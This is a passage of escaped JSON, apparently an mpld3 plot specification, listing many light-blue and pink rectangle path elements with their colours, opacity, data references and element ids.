\"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423609616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423452240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114423452752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423453648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423889936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423868752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423510736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423968080\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423677520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423678992\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423616208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423617872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114423549968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423551632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114423552912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423477200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423478864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423472400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423474064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423467600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data52\", \"id\": \"el126114423468880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423470544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data53\", \"id\": \"el126114423697552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data54\", \"id\": \"el126114423698832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data53\", \"id\": \"el126114423700112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423681424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423683088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423557840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114423559504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114423561168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423624336\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423626000\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423685072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114423686736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423688016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114425013136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114425014800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114425024720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114425026384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114425056784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114425058448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114425060112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114425074128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114425075792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114425085712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114425087376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114425088656\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114425098960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114425100624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data18\", \"id\": \"el126114425118736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114425120400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114425121680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114425131984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114425133648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114425147664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114425149328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data09\", \"id\": \"el126114425159248\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114425160912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114425162576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114425180688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data05\", \"id\": \"el126114425182352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114425192272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114425193936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data36\", \"id\": \"el126114425195216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114425209616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114425211280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114425225296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114425226960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114425228240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data01\", \"id\": \"el126114425242640\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data01\", \"id\": \"el126114425244304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 6, \"data\": \"data01\", \"id\": \"el126114425258320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 7, \"data\": \"data01\", \"id\": \"el126114425259984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114430803600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114430805264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data02\", \"id\": \"el126114430806544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114430824272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114430825552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 9, \"data\": \"data01\", \"id\": \"el126114430827216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 10, \"data\": \"data01\", \"id\": \"el126114430844944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, 